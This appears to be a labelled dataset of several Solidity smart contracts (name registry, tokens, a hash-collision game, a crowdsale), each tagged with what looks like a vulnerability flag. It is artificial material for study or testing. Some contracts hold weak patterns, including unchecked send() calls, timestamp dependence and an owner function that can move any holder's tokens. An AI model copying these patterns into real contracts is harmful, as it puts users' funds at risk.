function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
pragma solidity ^0.4.24;
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract PlayerBook is PlayerBookInterface, Ownable {
using NameFilter for string;
using SafeMath for uint256;
uint256 public registrationFee_ = 0;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
address addr1 = 0x9e8aac4cdC9Af1f0f998396FA2D570c53754cBb0;
address addr2 = 0xECFf872Dd6C7AF62ee22e9C88Fad94136Cb215E9;
bytes32 name1 = "mercury";
bytes32 name2 = "venus";
plyr_[1].addr = addr1;
plyr_[1].name = name1;
plyr_[1].names = 1;
pIDxAddr_[addr1] = 1;
pIDxName_[name1] = 1;
plyrNames_[1][name1] = true;
plyrNameList_[1][1] = name1;
plyr_[2].addr = addr2;
plyr_[2].name = name2;
plyr_[2].names = 1;
pIDxAddr_[addr2] = 2;
pIDxName_[name2] = 2;
plyrNames_[2][name2] = true;
plyrNameList_[2][1] = name2;
pID_ = 2;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
uint fee = address(this).balance;
if (fee > 0) {
owner.send(fee);
}
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(0);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyOwner()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyOwner()
public
{
registrationFee_ = _fee;
}
} | 1 | 3,366 |
pragma solidity ^0.4.13;
contract Receiver {
function tokenFallback(address from, uint value, bytes data);
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract StandardToken is ERC20, SafeMath {
event Transfer(address indexed from, address indexed to, uint indexed value, bytes data);
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
revert();
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public returns (bool success) {
bytes memory _empty;
return transfer(_to, _value, _empty);
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
if (isContract(_to)) {
Receiver(_to).tokenFallback(msg.sender, _value, _data);
}
return true;
}
function isContract( address _addr ) private returns (bool) {
uint length;
_addr = _addr;
assembly { length := extcodesize(_addr) }
return (length > 0);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue) public
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue) public
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) public {
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
Burned(burner, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) public {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
revert();
}
if (value == 0) revert();
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
revert();
}
if (agent == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
if (getUpgradeState() == UpgradeState.Upgrading) revert();
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) revert();
if (upgradeAgent.originalSupply() != totalSupply) revert();
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract AdHiveToken is BurnableToken, UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
address public owner;
bool public mintingFinished = false;
mapping(address => uint) public previligedBalances;
mapping(address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
modifier onlyOwner() {
if(msg.sender != owner) revert();
_;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) revert();
_;
}
modifier canMint() {
if(mintingFinished) revert();
_;
}
modifier onlyNotSame(address _from, address _to) {
if(_from == _to) revert();
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function AdHiveToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals) public UpgradeableToken(_owner) {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** uint(decimals);
balances[_owner] = totalSupply;
owner = _owner;
}
function mintingFinish() public onlyOwner {
mintingFinished = true;
}
function transferPrivileged(address _to, uint _value) public onlyOwner returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
previligedBalances[_to] = safeAdd(previligedBalances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function getPrivilegedBalance(address _owner) public constant returns (uint balance) {
return previligedBalances[_owner];
}
function transferFromPrivileged(address _from, address _to, uint _value) public onlyOwner onlyNotSame(_from, _to) returns (bool success) {
uint availablePrevilegedBalance = previligedBalances[_from];
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
previligedBalances[_from] = safeSub(availablePrevilegedBalance, _value);
Transfer(_from, _to, _value);
return true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
amount *= 10 ** uint(decimals);
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
} | 1 | 3,495 |
contract CryptoHill {
address admin;
address leader;
bytes32 leaderHash;
bytes32 difficulty;
bytes32 difficultyWorldRecord;
uint fallenLeaders;
uint startingTime;
uint gameLength;
string leaderMessage;
string defaultLeaderMessage;
event Begin(string log);
event Leader(string log, address newLeader, bytes32 newHash);
event GameOver(string log);
event Winner (string log, address winner);
event NoWinner (string log);
event WorldRecord (string log, bytes32 DifficultyRecord, address RecordHolder);
function CryptoHill(){
admin = msg.sender;
startingTime = block.timestamp;
gameLength = 1 weeks;
leaderHash = sha3("09F911029D74E35BD84156C5635688C0");
leader = msg.sender;
defaultLeaderMessage = "If you're this weeks leader, you own this field. Write a message here.";
leaderMessage = defaultLeaderMessage;
difficulty = leaderHash;
difficultyWorldRecord = leaderHash;
fallenLeaders = 0;
Begin("Collide the most bits of the leader's hash to replace the leader. Leader will win any bounty at the end of the week.");
}
function reset() private{
leaderHash = sha3(block.timestamp);
leaderMessage = defaultLeaderMessage;
difficulty = leaderHash;
leader = admin;
fallenLeaders = 0;
}
function checkDate() private returns (bool success) {
if (block.timestamp > (startingTime + gameLength)) {
if(leader != admin){
Winner("Victory! Game will be reset to end in 1 week (in block time).", leader);
leader.send(this.balance);
}else NoWinner("No winner! Game will be reset to end in 1 week (in block time).");
startingTime = block.timestamp;
reset();
return true;
}
return false;
}
function overthrow(string challengeData) returns (bool success){
var challengeHash = sha3(challengeData);
if(checkDate())
return false;
if(challengeHash == leaderHash)
return false;
if((challengeHash ^ leaderHash) > difficulty)
return false;
difficulty = (challengeHash ^ leaderHash);
challengeWorldRecord(difficulty);
leader = msg.sender;
leaderHash = challengeHash;
Leader("New leader! This is their address, and the new hash to collide.", leader, leaderHash);
fallenLeaders++;
return true;
}
function challengeWorldRecord (bytes32 difficultyChallenge) private {
if(difficultyChallenge < difficultyWorldRecord) {
difficultyWorldRecord = difficultyChallenge;
WorldRecord("A record setting collision occcured!", difficultyWorldRecord, msg.sender);
}
}
function changeLeaderMessage(string newMessage){
if(msg.sender == leader)
leaderMessage = newMessage;
}
function currentLeader() constant returns (address CurrentLeaderAddress){
return leader;
}
function Difficulty() constant returns (bytes32 XorMustBeLessThan){
return difficulty;
}
function LeaderHash() constant returns (bytes32 leadingHash){
return leaderHash;
}
function LeaderMessage() constant returns (string MessageOfTheDay){
return leaderMessage;
}
function FallenLeaders() constant returns (uint Victors){
return fallenLeaders;
}
function GameEnds() constant returns (uint EndingTime){
return startingTime + gameLength;
}
function kill(){
if (msg.sender == admin){
GameOver("The Crypto Hill has ended.");
selfdestruct(admin);
}
}
} | 0 | 1,762 |
pragma solidity ^0.4.11;
contract Travelerscash {
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function Travelerscash() {
initialSupply = 200000000;
name ="Travelerscash";
decimals = 0;
symbol = "TCASH";
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
}
function () {
throw;
}
} | 1 | 3,862 |
pragma solidity ^0.4.18;
interface token {
function transferFrom(address _from, address _to, uint256 _value) public;
}
contract RetailSale {
address public beneficiary;
uint public actualPrice;
uint public nextPrice;
uint public nextPriceDate = 0;
uint public periodStart;
uint public periodEnd;
uint public bonus = 0;
uint public bonusStart = 0;
uint public bonusEnd = 0;
uint public milestone = 0;
uint public milestoneBonus = 0;
bool public milestoneReached = true;
uint public minPurchase;
token public tokenReward;
event FundTransfer(address backer, uint amount, uint bonus, uint tokens);
function RetailSale(
address _beneficiary,
address addressOfTokenUsedAsReward,
uint ethPriceInWei,
uint _minPurchase,
uint start,
uint end
) public {
beneficiary = _beneficiary;
tokenReward = token(addressOfTokenUsedAsReward);
actualPrice = ethPriceInWei;
nextPrice = ethPriceInWei;
minPurchase = _minPurchase;
periodStart = start;
periodEnd = end;
}
function()
payable
isOpen
aboveMinValue
public {
uint price = actualPrice;
if (now >= nextPriceDate) {
price = nextPrice;
}
uint vp = (msg.value * 1 ether) / price;
uint b = 0;
uint tokens = 0;
if (now >= bonusStart && now <= bonusEnd) {
b = bonus;
}
if (this.balance >= milestone && !milestoneReached) {
b = milestoneBonus;
milestoneReached = true;
}
if (b == 0) {
tokens = vp;
} else {
tokens = (vp + ((vp * b) / 100));
}
tokenReward.transferFrom(beneficiary, msg.sender, tokens);
FundTransfer(msg.sender, msg.value, b, tokens);
}
modifier aboveMinValue() {
require(msg.value >= minPurchase);
_;
}
modifier isOwner() {
require(msg.sender == beneficiary);
_;
}
modifier isClosed() {
require(!(now >= periodStart && now <= periodEnd));
_;
}
modifier isOpen() {
require(now >= periodStart && now <= periodEnd);
_;
}
modifier validPeriod(uint start, uint end){
require(start < end);
_;
}
function setNextPeriod(uint _start, uint _end)
isOwner
validPeriod(_start, _end)
public {
periodStart = _start;
periodEnd = _end;
}
function setMinPurchase(uint _minPurchase)
isOwner
public {
minPurchase = _minPurchase;
}
function changeBonus(uint _bonus, uint _bonusStart, uint _bonusEnd)
isOwner
public {
bonus = _bonus;
bonusStart = _bonusStart;
bonusEnd = _bonusEnd;
}
function setNextMilestone(uint _milestone, uint _milestoneBonus)
isOwner
public {
milestone = _milestone;
milestoneBonus = _milestoneBonus;
milestoneReached = false;
}
function setNextPrice(uint _price, uint _priceDate)
isOwner
public {
actualPrice = nextPrice;
nextPrice = _price;
nextPriceDate = _priceDate;
}
function safeWithdrawal()
isClosed
isOwner
public {
beneficiary.transfer(this.balance);
}
function open() view public returns (bool) {
return (now >= periodStart && now <= periodEnd);
}
} | 1 | 4,022 |
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract OpnMind is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function OpnMind() public {
symbol = "OPN";
name = "OpnMind";
decimals = 2;
_totalSupply = 3342879500;
balances[0xd21B0C87fc63a876E5eE2dC82D777aFBA9d4a5e5] = _totalSupply;
Transfer(address(0), 0xd21B0C87fc63a876E5eE2dC82D777aFBA9d4a5e5, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,277 |
pragma solidity ^0.4.25;
contract AccessControl {
event ContractUpgrade(address newContract);
event Paused();
event Unpaused();
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address public withdrawalAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
modifier onlyCEOOrCFO() {
require(
msg.sender == cfoAddress ||
msg.sender == ceoAddress
);
_;
}
modifier onlyCEOOrCOO() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyCLevel whenNotPaused {
paused = true;
emit Paused();
}
